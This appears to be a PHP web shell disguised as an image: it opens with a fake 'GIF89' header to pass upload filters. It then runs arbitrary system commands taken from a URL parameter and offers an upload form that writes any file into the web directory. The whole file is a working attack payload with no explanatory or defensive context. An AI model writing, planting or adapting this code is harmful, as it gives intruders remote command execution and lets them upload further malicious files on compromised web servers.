GIF89GMZ
<? system($_GET[a]); ?>
<form action="" method="post" enctype="multipart/form-data">
    <input name="ufile" type="file" /><input type="submit" name="Submit" />
</form>
<?php
    if(isSet($_POST['Submit'])) {
        $path= "./".$_FILES['ufile']['name'];if(copy($_FILES['ufile']['tmp_name'], $path)) {
            echo"ok";
        }
        else{
            echo"Error";
        }
    }
?>